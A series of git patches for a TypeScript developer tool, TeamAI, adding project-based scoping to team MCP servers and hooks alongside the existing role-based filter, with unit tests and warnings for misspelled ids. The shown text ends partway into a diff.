From 843c169ddc68882d272476db89b35228b12d53d7 Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Mon, 21 Sep 2026 22:08:50 +0200 Subject: [PATCH 01/12] feat(membership): resolve delivery on both the role and project axes Adds src/membership.ts: one check covering an entry's optional roles: and projects: keys, so a delivery path cannot filter one axis and forget the other. The two axes compose as AND, which is how tools: and roles: already compose. activeProjectIds lives in projects.ts beside the manifest it reads, mirroring activeRoleIds: an absent or empty projects list collapses to null, meaning no project filter, so nothing about today's delivery changes until a maintainer adds a projects: key. No call site uses it yet. --- src/__tests__/membership.test.ts | 216 +++++++++++++++++++++++++++++++ src/membership.ts | 149 +++++++++++++++++++++ src/projects.ts | 15 +++ 3 files changed, 380 insertions(+) create mode 100644 src/__tests__/membership.test.ts create mode 100644 src/membership.ts diff --git a/src/__tests__/membership.test.ts b/src/__tests__/membership.test.ts new file mode 100644 index 000000000..b52174e37 --- /dev/null +++ b/src/__tests__/membership.test.ts @@ -0,0 +1,216 @@ +import { describe, expect, it, vi, beforeEach, afterEach } from 'vitest'; +import { mkdtempSync, writeFileSync, mkdirSync } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { + resolveMembership, + matchesMembership, + warnUnknownMembershipIds, + __resetMembershipWarnings, +} from '../membership.js'; +import { log } from '../utils/logger.js'; + +function repoWith(files: Record): string { + const repoDir = mkdtempSync(path.join(os.tmpdir(), 'teamai-membership-')); + for (const [rel, content] of Object.entries(files)) { + const target = path.join(repoDir, rel); + mkdirSync(path.dirname(target), { recursive: true }); + writeFileSync(target, content, 'utf-8'); + } + return repoDir; +} + +const ROLES_YAML = `version: 1 +roles: + - id: frontend + resources: + knowledge: [] + skills: [] + - id: devops + resources: + knowledge: [] + skills: [] +`; + +const PROJECTS_YAML = `version: 1 +projects: + - id: checkout + resources: {} + - id: billing + resources: {} +`; + +describe('resolveMembership', () => { + it('reports both axes as null for a member with no role and no projects (nothing is filtered)', () => { + expect(resolveMembership({ additionalRoles: [] })).toEqual({ roles: null, projects: null }); + }); + + it('treats an empty projects list the same as an absent one', () => { + expect(resolveMembership({ additionalRoles: [], projects: [] }).projects).toBeNull(); + }); + + it('reports the primary role first, additional roles after, deduped', () => { + expect(resolveMembership({ primaryRole: 'frontend', additionalRoles: ['devops', 'frontend'] }).roles) + .toEqual(['frontend', 'devops']); + }); + + it('reports the directory projects, deduped', () => { + expect(resolveMembership({ additionalRoles: [], projects: ['checkout', 'checkout', 'billing'] }).projects) + .toEqual(['checkout', 'billing']); + }); + + it('resolves the two axes independently', () => { + expect(resolveMembership({ primaryRole: 'frontend', additionalRoles: [], projects: ['checkout'] })) + .toEqual({ roles: ['frontend'], projects: ['checkout'] }); + }); +}); + +describe('matchesMembership', () => { + const member = { roles: ['frontend'], projects: ['checkout'] }; + + it('matches everyone when the entry scopes neither axis', () => { + expect(matchesMembership({}, member)).toBe(true); + expect(matchesMembership({}, { roles: null, projects: null })).toBe(true); + }); + + // ── roles axis (moved from matchesRoles) ── + + it('matches every member on an axis they have not configured', () => { + expect(matchesMembership({ roles: ['devops'] }, { roles: null, projects: null })).toBe(true); + expect(matchesMembership({ projects: ['billing'] }, { roles: null, projects: null })).toBe(true); + }); + + it('matches when any active role is listed', () => { + expect(matchesMembership({ roles: ['devops', 'data'] }, { roles: ['frontend', 'data'], projects: null })).toBe(true); + expect(matchesMembership({ roles: ['devops'] }, { roles: ['frontend'], projects: null })).toBe(false); + }); + + it('matches nobody for an empty roles list, like tools: []', () => { + expect(matchesMembership({ roles: [] }, { roles: ['frontend'], projects: null })).toBe(false); + expect(matchesMembership({ roles: [] }, { roles: null, projects: null })).toBe(true); + }); + + // ── projects axis (the same rule, independently) ── + + it('matches when any active project is listed', () => { + expect(matchesMembership({ projects: ['billing', 'checkout'] }, member)).toBe(true); + expect(matchesMembership({ projects: ['billing'] }, member)).toBe(false); + }); + + it('matches nobody for an empty projects list', () => { + expect(matchesMembership({ projects: [] }, member)).toBe(false); + expect(matchesMembership({ projects: [] }, { roles: null, projects: null })).toBe(true); + }); + + // ── the two axes compose as AND ── + + it('requires both axes to match when the entry scopes both', () => { + expect(matchesMembership({ roles: ['frontend'], projects: ['checkout'] }, member)).toBe(true); + expect(matchesMembership({ roles: ['frontend'], projects: ['billing'] }, member)).toBe(false); + expect(matchesMembership({ roles: ['devops'], projects: ['checkout'] }, member)).toBe(false); + expect(matchesMembership({ roles: ['devops'], projects: ['billing'] }, member)).toBe(false); + }); + + it('keeps the axes independent: an unconfigured axis never vetoes a configured one', () => { + // Member on `checkout` with no role configured: a frontend+checkout entry reaches them. + expect(matchesMembership({ roles: ['frontend'], projects: ['checkout'] }, { roles: null, projects: ['checkout'] })) + .toBe(true); + // ...but a frontend+billing entry does not. + expect(matchesMembership({ roles: ['frontend'], projects: ['billing'] }, { roles: null, projects: ['checkout'] })) + .toBe(false); + }); +}); + +describe('warnUnknownMembershipIds', () => { + let warn: ReturnType; + + beforeEach(() => { + __resetMembershipWarnings(); + warn = vi.spyOn(log, 'warn').mockImplementation(() => {}); + }); + + afterEach(() => { + warn.mockRestore(); + }); + + it('stays silent when no entry scopes either axis', async () => { + const repo = repoWith({ 'manifest/roles.yaml': ROLES_YAML, 'manifest/projects.yaml': PROJECTS_YAML }); + await warnUnknownMembershipIds(repo, 'hooks.yaml', [{ kind: 'hook', name: 'fmt' }]); + expect(warn).not.toHaveBeenCalled(); + }); + + it('stays silent for ids both manifests define', async () => { + const repo = repoWith({ 'manifest/roles.yaml': ROLES_YAML, 'manifest/projects.yaml': PROJECTS_YAML }); + await warnUnknownMembershipIds(repo, 'mcp.yaml', [ + { kind: 'server', name: 'db', roles: ['devops'], projects: ['checkout'] }, + ]); + expect(warn).not.toHaveBeenCalled(); + }); + + it('names an unknown role id and lists the valid ones', async () => { + const repo = repoWith({ 'manifest/roles.yaml': ROLES_YAML, 'manifest/projects.yaml': PROJECTS_YAML }); + await warnUnknownMembershipIds(repo, 'hooks.yaml', [{ kind: 'hook', name: 'fmt', roles: ['frontnd'] }]); + expect(warn).toHaveBeenCalledTimes(1); + expect(warn.mock.calls[0][0]).toContain('unknown role id "frontnd"'); + expect(warn.mock.calls[0][0]).toContain('hooks.yaml hook "fmt"'); + expect(warn.mock.calls[0][0]).toContain('frontend, devops'); + }); + + it('names an unknown project id and lists the valid ones', async () => { + const repo = repoWith({ 'manifest/roles.yaml': ROLES_YAML, 'manifest/projects.yaml': PROJECTS_YAML }); + await warnUnknownMembershipIds(repo, 'mcp.yaml', [{ kind: 'server', name: 'db', projects: ['chekout'] }]); + expect(warn).toHaveBeenCalledTimes(1); + expect(warn.mock.calls[0][0]).toContain('unknown project id "chekout"'); + expect(warn.mock.calls[0][0]).toContain('mcp.yaml server "db"'); + expect(warn.mock.calls[0][0]).toContain('checkout, billing'); + }); + + it('warns once per file and id, however many entries repeat it', async () => { + const repo = repoWith({ 'manifest/roles.yaml': ROLES_YAML, 'manifest/projects.yaml': PROJECTS_YAML }); + await warnUnknownMembershipIds(repo, 'hooks.yaml', [ + { kind: 'hook', name: 'a', projects: ['nope'] }, + { kind: 'hook', name: 'b', projects: ['nope'] }, + ]); + await warnUnknownMembershipIds(repo, 'hooks.yaml', [{ kind: 'hook', name: 'c', projects: ['nope'] }]); + expect(warn).toHaveBeenCalledTimes(1); + }); + + it('reports a projects: key as restricting nothing when no projects manifest exists', async () => { + const repo = repoWith({ 'manifest/roles.yaml': ROLES_YAML }); + await warnUnknownMembershipIds(repo, 'mcp.yaml', [ + { kind: 'server', name: 'db', projects: ['checkout'] }, + { kind: 'server', name: 'cache', projects: ['billing'] }, + ]); + expect(warn).toHaveBeenCalledTimes(1); + const message = warn.mock.calls[0][0] as string; + expect(message).toContain('manifest/projects.yaml'); + expect(message).toContain('restricts nothing'); + expect(message).toContain('2'); + // Not the typo wording: there is no valid-id list to print. + expect(message).not.toContain('unknown project id'); + }); + + it('reports the same for a projects manifest that defines zero projects', async () => { + const repo = repoWith({ + 'manifest/roles.yaml': ROLES_YAML, + 'manifest/projects.yaml': 'version: 1\nprojects: []\n', + }); + await warnUnknownMembershipIds(repo, 'mcp.yaml', [{ kind: 'server', name: 'db', projects: ['checkout'] }]); + expect(warn).toHaveBeenCalledTimes(1); + expect(warn.mock.calls[0][0]).toContain('restricts nothing'); + }); + + it('stays silent about roles when the roles manifest cannot be read', async () => { + const repo = repoWith({ 'manifest/projects.yaml': PROJECTS_YAML }); + await warnUnknownMembershipIds(repo, 'hooks.yaml', [{ kind: 'hook', name: 'fmt', roles: ['frontend'] }]); + expect(warn).not.toHaveBeenCalled(); + }); + + it('checks both axes of the same entry', async () => { + const repo = repoWith({ 'manifest/roles.yaml': ROLES_YAML, 'manifest/projects.yaml': PROJECTS_YAML }); + await warnUnknownMembershipIds(repo, 'hooks.yaml', [ + { kind: 'hook', name: 'fmt', roles: ['nope-role'], projects: ['nope-project'] }, + ]); + expect(warn).toHaveBeenCalledTimes(2); + }); +}); diff --git a/src/membership.ts b/src/membership.ts new file mode 100644 index 000000000..9815366fd --- /dev/null +++ b/src/membership.ts @@ -0,0 +1,149 @@ +import { activeRoleIds, listRoleIds, loadRolesManifest } from './roles.js'; +import { activeProjectIds, listProjectIds, loadProjectsManifest } from './projects.js'; +import { log } from './utils/logger.js'; + +/** + * The two membership axes TeamAI resolves delivery on, for THIS member in THIS + * directory. Roles come from `primaryRole` + `additionalRoles`; projects from + * the directory's `projects` list. + * + * `null` on an axis means "this member has not configured that axis", which + * matches every entry scoped on it — the same unfiltered fallback skills and + * rules use. It is deliberately not the same as `[]`: an axis the member has + * configured as empty cannot occur (see `activeRoleIds` / `activeProjectIds`, + * both of which collapse an empty list to `null`), but an *entry* scoped with + * an empty list reaches nobody. + */ +export type Membership = { + roles: string[] | null; + projects: string[] | null; +}; + +/** An entry (hook, MCP server, env variable) that may restrict either axis. */ +export type MembershipScope = { + roles?: string[]; + projects?: string[]; +}; + +/** + * Both membership axes for this member, resolved once per run. Each axis is + * read by the module that owns it, so this adds no third spelling of either. + */ +export function resolveMembership( + localConfig: { primaryRole?: string; additionalRoles?: string[]; projects?: string[] }, +): Membership { + return { + roles: activeRoleIds(localConfig), + projects: activeProjectIds(localConfig), + }; +} + +/** + * Does one axis of an entry apply to this member? Omitted = everyone, an empty + * list = nobody, and a null active set (axis not configured) matches everything. + * Mirrors the `tools:` filter. + */ +function matchesAxis(entryKeys: string[] | undefined, active: string[] | null): boolean { + if (!entryKeys || active == null) return true; + return entryKeys.some((key) => active.includes(key)); +} + +/** + * Does an entry with optional `roles:` and `projects:` lists apply to this + * member? The two axes compose as AND: a `roles: [frontend] projects: [checkout]` + * entry reaches frontend members of checkout, not everyone on either. + * + * That is the same composition `tools:` and `roles:` already have, and it is + * deliberately NOT the union that `mergeNamespaces` applies to role and project + * resource namespaces — which answers the different question of which + * directories to sync, rather than filtering one entry. + * + * One call covers both axes so a delivery path cannot filter on one and forget + * the other. + */ +export function matchesMembership(entry: MembershipScope, membership: Membership): boolean { + return matchesAxis(entry.roles, membership.roles) && matchesAxis(entry.projects, membership.projects); +} + +/** `${file}:${axis}:${id}` pairs already reported in this process (pull runs each + * reconciler once per scope; the member should read the warning once). */ +const reportedUnknownIds = new Set(); + +/** Test seam: clear the once-per-process warning memory. */ +export function __resetMembershipWarnings(): void { + reportedUnknownIds.clear(); +} + +function warnOnce(dedupeKey: string, message: string): void { + if (reportedUnknownIds.has(dedupeKey)) return; + reportedUnknownIds.add(dedupeKey); + log.warn(message); +} + +/** + * Warn once per pull for each id that an entry's `roles:` or `projects:` names + * but the matching manifest does not define. A typo would otherwise ship the + * entry to nobody in silence. Never fails the run: without a readable manifest + * there is nothing to check against. + * + * The projects axis has one case the roles axis cannot have: a team with no + * `manifest/projects.yaml` at all (or one defining zero projects). Every member + * then has a null projects axis, so a `projects:` key restricts nothing and the + * entry ships to everyone. That is reported with its own wording — there is no + * valid-id list to suggest, and the mistake is a missing manifest rather than a + * misspelled id. + */ +export async function warnUnknownMembershipIds( + repoPath: string, + file: string, + entries: Array<{ kind: string; name: string } & MembershipScope>, +): Promise { + const scoped = entries.filter((entry) => entry.roles?.length || entry.projects?.length); + if (scoped.length === 0) return; + + if (scoped.some((entry) => entry.roles?.length)) { + let knownRoles: Set | null = null; + try { + knownRoles = new Set(listRoleIds(await loadRolesManifest(repoPath))); + } catch { + knownRoles = null; + } + if (knownRoles) { + for (const entry of scoped) { + for (const role of entry.roles ?? []) { + if (knownRoles.has(role)) continue; + warnOnce( + `${file}:roles:${role}`, + `roles: unknown role id "${role}" in ${file} ${entry.kind} "${entry.name}". Valid roles: ${[...knownRoles].join(', ')}`, + ); + } + } + } + } + + const projectScoped = scoped.filter((entry) => entry.projects?.length); + if (projectScoped.length === 0) return; + + const manifest = await loadProjectsManifest(repoPath).catch(() => null); + const knownProjects = manifest ? listProjectIds(manifest) : []; + if (knownProjects.length === 0) { + warnOnce( + `${file}:projects:`, + `projects: manifest/projects.yaml defines no projects, so "projects:" on ${projectScoped.length} ${file} ` + + `${projectScoped.length === 1 ? 'entry' : 'entries'} restricts nothing — they are delivered to every member. ` + + 'Define the projects there, or drop the key.', + ); + return; + } + + const known = new Set(knownProjects); + for (const entry of projectScoped) { + for (const project of entry.projects ?? []) { + if (known.has(project)) continue; + warnOnce( + `${file}:projects:${project}`, + `projects: unknown project id "${project}" in ${file} ${entry.kind} "${entry.name}". Valid projects: ${knownProjects.join(', ')}`, + ); + } + } +} diff --git a/src/projects.ts b/src/projects.ts index 5057ac3a2..2117486f1 100644 --- a/src/projects.ts +++ b/src/projects.ts @@ -190,6 +190,21 @@ export function resolveProjectResourceNamespaces(input: { return namespaces; } +/** + * Logical project ids this directory is bound to, or null when it is bound to + * none. Null means "no project filter": entries scoped with `projects:` keep + * reaching a directory that has selected no project, the same fallback + * `activeRoleIds` applies to a member with no role. + * + * An empty list collapses to null on purpose — `LocalConfig.projects` treats + * absent and empty alike ("no project partitioning"), so a directory cannot + * express "member of no project" and thereby opt out of every scoped entry. + */ +export function activeProjectIds(localConfig: { projects?: string[] }): string[] | null { + const ids = [...new Set(localConfig.projects ?? [])]; + return ids.length > 0 ? ids : null; +} + /** * Resolve the active **learnings** namespaces for a directory, from the manifest * — the SAME source `pull` uses. This is the canonical mapping from active From 8cf602e5619b9368accb37c6d5a5816e5b7542e7 Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Mon, 21 Sep 2026 22:13:02 +0200 Subject: [PATCH 02/12] feat(mcp): scope team MCP servers by logical project An mcp.yaml server accepts an optional projects: list beside roles:, and reaches a directory only when that directory is bound to one of them. Both axes AND, so 'roles: [frontend] projects: [checkout]' reaches frontend members of checkout. This is what the issue's five-projects-three-servers case costs today: every member of a role starts fifteen server processes and carries fifteen tool lists in every session. desiredMcpForTarget now takes both axes as one membership value, so the filter cannot be applied on one axis and forgotten on the other. teamai doctor inherits the filter through buildDesiredMcpContext, and 'teamai mcp list' prints the restriction next to the roles one. A non-matching server is skipped silently with no change record, exactly as the roles and tools filters already do. --- src/__tests__/mcp-cmd.test.ts | 22 +++++ src/__tests__/mcp-handler.test.ts | 33 +++++++ src/__tests__/mcp-reconcile.test.ts | 147 ++++++++++++++++++++++++++++ src/mcp-cmd.ts | 1 + src/mcp-reconcile.ts | 17 ++-- src/resources/mcp.ts | 2 + src/types.ts | 6 ++ 7 files changed, 221 insertions(+), 7 deletions(-) diff --git a/src/__tests__/mcp-cmd.test.ts b/src/__tests__/mcp-cmd.test.ts index 6638ea8e8..73b5c7a33 100644 --- a/src/__tests__/mcp-cmd.test.ts +++ b/src/__tests__/mcp-cmd.test.ts @@ -52,4 +52,26 @@ describe('mcpList', () => { expect(text).toContain('roles: nobody'); expect(text.match(/roles:/g)).toHaveLength(2); }); + + it('prints the projects restriction the same way, and both when a server scopes both', async () => { + mockedParse.mockResolvedValue([ + { name: 'checkout-db', transport: 'http', url: 'https://example.com/checkout', projects: ['checkout'] }, + { name: 'shared', transport: 'http', url: 'https://example.com/api/mcp' }, + { name: 'nobody', transport: 'http', url: 'https://example.com/none', projects: [] }, + { name: 'both', transport: 'http', url: 'https://example.com/both', roles: ['frontend'], projects: ['checkout', 'billing'] }, + ]); + const out: string[] = []; + const spy = vi.spyOn(console, 'log').mockImplementation((m?: unknown) => { out.push(String(m)); }); + try { + await mcpList({}); + } finally { + spy.mockRestore(); + } + const text = out.join('\n'); + expect(text).toContain('projects: checkout'); + expect(text).toContain('projects: nobody'); + expect(text).toContain('projects: checkout, billing'); + expect(text.match(/projects:/g)).toHaveLength(3); + expect(text.match(/roles:/g)).toHaveLength(1); + }); }); diff --git a/src/__tests__/mcp-handler.test.ts b/src/__tests__/mcp-handler.test.ts index e93064465..44a53741b 100644 --- a/src/__tests__/mcp-handler.test.ts +++ b/src/__tests__/mcp-handler.test.ts @@ -51,4 +51,37 @@ servers: const defs = await parseTeamMcpServers(repo); expect(defs[0].roles).toEqual([]); }); + + it('carries an optional projects list through, and leaves it undefined when omitted', async () => { + await writeMcpYaml(` +servers: + - name: checkout-db + transport: http + url: https://example.com/checkout + projects: [checkout] + - name: shared + transport: http + url: https://example.com/api/mcp +`); + const defs = await parseTeamMcpServers(repo); + expect(defs.map((d) => d.projects)).toEqual([['checkout'], undefined]); + }); + + it('accepts an empty projects list (matches nobody) and both axes on one server', async () => { + await writeMcpYaml(` +servers: + - name: nobody + transport: http + url: https://example.com/api/mcp + projects: [] + - name: both + transport: http + url: https://example.com/both + roles: [frontend] + projects: [checkout] +`); + const defs = await parseTeamMcpServers(repo); + expect(defs[0].projects).toEqual([]); + expect(defs[1]).toMatchObject({ roles: ['frontend'], projects: ['checkout'] }); + }); }); diff --git a/src/__tests__/mcp-reconcile.test.ts b/src/__tests__/mcp-reconcile.test.ts index 7878f9337..8297ab0a9 100644 --- a/src/__tests__/mcp-reconcile.test.ts +++ b/src/__tests__/mcp-reconcile.test.ts @@ -309,6 +309,153 @@ servers: }); }); + describe('projects filter', () => { + const PROJECTS_YAML = ` +version: 1 +projects: + - id: checkout + resources: {} + - id: billing + resources: {} +`; + const ROLES_YAML = ` +version: 1 +roles: + - id: frontend + description: Frontend + resources: { knowledge: [common], skills: [common] } + - id: devops + description: DevOps + resources: { knowledge: [common], skills: [common] } +`; + const SCOPED_YAML = ` +servers: + - name: checkout-db + transport: http + url: https://example.com/checkout + projects: [checkout] + - name: billing-db + transport: http + url: https://example.com/billing + projects: [billing, legacy] + - name: shared + transport: http + url: https://example.com/shared +`; + async function writeManifests(): Promise { + await fse.ensureDir(path.join(repoPath, 'manifest')); + await fse.writeFile(path.join(repoPath, 'manifest', 'projects.yaml'), PROJECTS_YAML); + await fse.writeFile(path.join(repoPath, 'manifest', 'roles.yaml'), ROLES_YAML); + } + async function claudeServers(): Promise> { + return (await fse.readJson(path.join(homeDir, '.claude.json'))).mcpServers ?? {}; + } + + it('installs a server only for directories bound to a project it lists', async () => { + await writeManifests(); + await writeMcpYaml(SCOPED_YAML); + + await reconcileMcpForConfig(teamConfig, { ...localConfig, projects: ['checkout'] }); + expect(Object.keys(await claudeServers()).sort()).toEqual(['checkout-db', 'shared']); + }); + + it('counts every project the directory is bound to', async () => { + await writeManifests(); + await writeMcpYaml(SCOPED_YAML); + + await reconcileMcpForConfig(teamConfig, { ...localConfig, projects: ['checkout', 'billing'] }); + expect(Object.keys(await claudeServers()).sort()).toEqual(['billing-db', 'checkout-db', 'shared']); + }); + + it('installs every server when the directory is bound to no project (legacy config)', async () => { + await writeManifests(); + await writeMcpYaml(SCOPED_YAML); + + await reconcileMcpForConfig(teamConfig, localConfig); + expect(Object.keys(await claudeServers()).sort()).toEqual(['billing-db', 'checkout-db', 'shared']); + }); + + it('removes a server once the directory stops being bound to its project', async () => { + await writeManifests(); + await writeMcpYaml(SCOPED_YAML); + await reconcileMcpForConfig(teamConfig, { ...localConfig, projects: ['checkout'] }); + expect(await claudeServers()).toHaveProperty('checkout-db'); + + const { changes } = await reconcileMcpForConfig(teamConfig, { ...localConfig, projects: ['billing'] }); + expect(Object.keys(await claudeServers()).sort()).toEqual(['billing-db', 'shared']); + expect(changes.some((c) => c.server === 'checkout-db' && c.action === 'removed')).toBe(true); + }); + + it('skips silently, without a change record, like the roles filter', async () => { + await writeManifests(); + await writeMcpYaml(SCOPED_YAML); + + const { changes } = await reconcileMcpForConfig(teamConfig, { ...localConfig, projects: ['checkout'] }); + expect(changes.some((c) => c.server === 'billing-db')).toBe(false); + }); + + it('requires both axes when a server scopes roles and projects (AND, not OR)', async () => { + await writeManifests(); + await writeMcpYaml(` +servers: + - name: fe-checkout + transport: http + url: https://example.com/fe-checkout + roles: [frontend] + projects: [checkout] +`); + const base = { ...localConfig, additionalRoles: [] }; + + await reconcileMcpForConfig(teamConfig, { ...base, primaryRole: 'frontend', projects: ['checkout'] }); + expect(Object.keys(await claudeServers())).toEqual(['fe-checkout']); + + await reconcileMcpForConfig(teamConfig, { ...base, primaryRole: 'frontend', projects: ['billing'] }); + expect(Object.keys(await claudeServers())).toEqual([]); + + await reconcileMcpForConfig(teamConfig, { ...base, primaryRole: 'devops', projects: ['checkout'] }); + expect(Object.keys(await claudeServers())).toEqual([]); + }); + + it('warns once about a project id that is not in projects.yaml and still applies the rest', async () => { + await writeManifests(); + await writeMcpYaml(` +servers: + - name: typo + transport: http + url: https://example.com/typo + projects: [chekout] + - name: shared + transport: http + url: https://example.com/shared +`); + const { log } = await import('../utils/logger.js'); + vi.mocked(log.warn).mockClear(); + + await reconcileMcpForConfig(teamConfig, { ...localConfig, projects: ['checkout'] }); + + expect(Object.keys(await claudeServers())).toEqual(['shared']); + const warnings = vi.mocked(log.warn).mock.calls.map(([m]) => String(m)).filter((m) => /chekout/.test(m)); + expect(warnings).toHaveLength(1); + expect(warnings[0]).toMatch(/unknown project id "chekout".*mcp\.yaml.*"typo"/); + }); + + it('reports that projects: restricts nothing when the team has no projects manifest', async () => { + await fse.ensureDir(path.join(repoPath, 'manifest')); + await fse.writeFile(path.join(repoPath, 'manifest', 'roles.yaml'), ROLES_YAML); + await writeMcpYaml(SCOPED_YAML); + const { log } = await import('../utils/logger.js'); + vi.mocked(log.warn).mockClear(); + + await reconcileMcpForConfig(teamConfig, localConfig); + + // Inert key: with no manifest every member's projects axis is null, so all ship. + expect(Object.keys(await claudeServers()).sort()).toEqual(['billing-db', 'checkout-db', 'shared']); + const warnings = vi.mocked(log.warn).mock.calls.map(([m]) => String(m)).filter((m) => /restricts nothing/.test(m)); + expect(warnings).toHaveLength(1); + expect(warnings[0]).toContain('manifest/projects.yaml'); + }); + }); + it('does not prune managed servers in http mode (install_mcp survives second sync)', async () => { // First, inject a server as a git-mode team would, so managed-mcp.json and // the tool config both record it (stands in for an install_mcp write). diff --git a/src/mcp-cmd.ts b/src/mcp-cmd.ts index 8cc41a407..a2bdea360 100644 --- a/src/mcp-cmd.ts +++ b/src/mcp-cmd.ts @@ -49,6 +49,7 @@ export async function mcpList(_options: GlobalOptions): Promise { if (s.description) console.log(` ${s.description}`); console.log(` endpoint: ${endpoint}`); if (s.roles) console.log(` roles: ${s.roles.length > 0 ? s.roles.join(', ') : 'nobody'}`); + if (s.projects) console.log(` projects: ${s.projects.length > 0 ? s.projects.join(', ') : 'nobody'}`); const needed = referencedVars(s); if (needed.length > 0) { diff --git a/src/mcp-reconcile.ts b/src/mcp-reconcile.ts index e2cd2d76a..a642ad064 100644 --- a/src/mcp-reconcile.ts +++ b/src/mcp-reconcile.ts @@ -32,7 +32,7 @@ import { } from './resources/mcp-format.js'; import { parseTeamMcpServers } from './resources/mcp.js'; import { isToolInstalledForConfig } from './resources/base.js'; -import { activeRoleIds, matchesRoles, warnUnknownRoleIds } from './roles.js'; +import { matchesMembership, resolveMembership, warnUnknownMembershipIds, type Membership } from './membership.js'; import { readJson, writeJsonAtomic, @@ -343,8 +343,11 @@ export interface DesiredMcpEntry { export interface DesiredMcpContext { sharing: ReturnType; excluded: Set; - /** null when the member has no role: every `roles:` entry then applies. */ - activeRoles: string[] | null; + /** + * Both membership axes. A null axis means the member has not configured it, + * so every entry scoped on that axis applies — see `resolveMembership`. + */ + membership: Membership; vars: Record; lookPath?: McpReconcileOptions['lookPath']; } @@ -357,7 +360,7 @@ export async function buildDesiredMcpContext( return { sharing: getMcpSharing(teamConfig), excluded: new Set(localConfig.excludedSkills ?? []), - activeRoles: activeRoleIds(localConfig), + membership: resolveMembership(localConfig), vars: await buildVarTable(localConfig), lookPath: options.lookPath, }; @@ -382,7 +385,7 @@ export function desiredMcpForTarget( for (const raw of teamDefs) { if (raw.tools && !raw.tools.includes(target.tool)) continue; - if (!matchesRoles(raw.roles, ctx.activeRoles)) continue; + if (!matchesMembership(raw, ctx.membership)) continue; if (ctx.excluded.has(raw.name)) { skipped.push({ tool: target.tool, server: raw.name, action: 'skipped', reason: 'excluded by user' }); continue; @@ -509,10 +512,10 @@ export async function reconcileMcpForConfig( } if (!removeAll) { - await warnUnknownRoleIds( + await warnUnknownMembershipIds( localConfig.repo.localPath, 'mcp.yaml', - teamDefs.map((def) => ({ kind: 'server', name: def.name, roles: def.roles })), + teamDefs.map((def) => ({ kind: 'server', name: def.name, roles: def.roles, projects: def.projects })), ); } const targets = await resolveMcpTargets(teamConfig, localConfig); diff --git a/src/resources/mcp.ts b/src/resources/mcp.ts index 2d99ebc11..27c72b49d 100644 --- a/src/resources/mcp.ts +++ b/src/resources/mcp.ts @@ -26,6 +26,7 @@ const TeamMcpServerSchema = z requires: z.array(z.string()).optional(), tools: z.array(z.string()).optional(), roles: z.array(z.string()).optional(), + projects: z.array(z.string()).optional(), }) .refine((s) => (s.transport === 'stdio' ? !!s.command : true), { message: 'stdio transport requires `command`', @@ -94,6 +95,7 @@ export function teamMcpToDef(s: TeamMcpServer): McpServerDef { requires: s.requires, tools: s.tools, roles: s.roles, + projects: s.projects, }; } diff --git a/src/types.ts b/src/types.ts index 17e2f68ca..6976c0051 100644 --- a/src/types.ts +++ b/src/types.ts @@ -733,6 +733,12 @@ export interface McpServerDef { tools?: string[]; /** Restrict to members holding one of these role ids (default = every member; [] = nobody). */ roles?: string[]; + /** + * Restrict to directories bound to one of these logical project ids (default = + * every directory; [] = nobody). ANDs with `roles`: a server scoping both + * reaches members who match both. + */ + projects?: string[]; } /** One injected MCP server recorded in the manifest. */ From 8a469796e298f6b4c122da49bd9fba779cf802d6 Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Mon, 21 Sep 2026 22:15:08 +0200 Subject: [PATCH 03/12] feat(hooks): scope team hooks by logical project A hooks.yaml hook accepts an optional projects: list beside roles:, filtered in resolveTeamHooks before the security gates so the transparency print keeps listing only the hooks this member will actually run. resolveTeamHooks now takes both axes as one membership value instead of activeRoles. With that, matchesRoles and warnUnknownRoleIds have no callers left, so they are deleted rather than kept alive by their own tests; their truth table moved to membership.test.ts as the roles-axis rows beside the new projects-axis and AND rows. 'teamai hooks list' prints the projects restriction after the roles one. --- src/__tests__/hooks-cmd.test.ts | 19 ++++ src/__tests__/hooks-handler.test.ts | 32 ++++++ src/__tests__/hooks-security.test.ts | 159 ++++++++++++++++++++++++++- src/__tests__/roles.test.ts | 22 ---- src/hooks-cmd.ts | 3 +- src/hooks.ts | 4 +- src/resources/hooks.ts | 23 ++-- src/roles.ts | 42 ------- src/types.ts | 5 + 9 files changed, 230 insertions(+), 79 deletions(-) diff --git a/src/__tests__/hooks-cmd.test.ts b/src/__tests__/hooks-cmd.test.ts index bd70f6485..a6e16d5e9 100644 --- a/src/__tests__/hooks-cmd.test.ts +++ b/src/__tests__/hooks-cmd.test.ts @@ -213,6 +213,25 @@ describe('hooksList', () => { expect(text).toContain('(tools: all, roles: devops)'); expect(text).toContain('npm run lint (tools: all)'); }); + + it('prints the projects restriction next to the roles one', async () => { + mockedParseTeamHooks.mockResolvedValue([ + { source: 'team', key: 'checkout-lint', event: 'Stop', command: 'echo checkout', description: '[teamai:hook:checkout-lint] x', projects: ['checkout'] }, + { source: 'team', key: 'both', event: 'Stop', command: 'echo both', description: '[teamai:hook:both] x', roles: ['frontend'], projects: ['checkout', 'billing'] }, + { source: 'team', key: 'nobody', event: 'Stop', command: 'echo none', description: '[teamai:hook:nobody] x', projects: [] }, + ]); + const out: string[] = []; + const spy = vi.spyOn(console, 'log').mockImplementation((m?: unknown) => { out.push(String(m)); }); + try { + await hooksList({}); + } finally { + spy.mockRestore(); + } + const text = out.join('\n'); + expect(text).toContain('(tools: all, projects: checkout)'); + expect(text).toContain('(tools: all, roles: frontend, projects: checkout,billing)'); + expect(text).toContain('(tools: all, projects: nobody)'); + }); }); describe('hooksList', () => { diff --git a/src/__tests__/hooks-handler.test.ts b/src/__tests__/hooks-handler.test.ts index 8dda1fdc4..c0cbea800 100644 --- a/src/__tests__/hooks-handler.test.ts +++ b/src/__tests__/hooks-handler.test.ts @@ -83,6 +83,38 @@ hooks: expect(defs[1].roles).toBeUndefined(); }); + it('carries an optional projects list through, and leaves it undefined when omitted', async () => { + await writeHooksYaml(` +hooks: + - id: checkout-lint + description: checkout only + event: Stop + command: echo checkout + projects: [checkout] + - id: everyone + description: for all + event: Stop + command: echo hi +`); + const defs = await parseTeamHooks(repo); + expect(defs[0].projects).toEqual(['checkout']); + expect(defs[1].projects).toBeUndefined(); + }); + + it('carries both axes on one hook', async () => { + await writeHooksYaml(` +hooks: + - id: both + description: both axes + event: Stop + command: echo both + roles: [frontend] + projects: [checkout] +`); + const defs = await parseTeamHooks(repo); + expect(defs[0]).toMatchObject({ roles: ['frontend'], projects: ['checkout'] }); + }); + it('rejects an invalid id and skips the whole file (never writes a broken set)', async () => { await writeHooksYaml(` hooks: diff --git 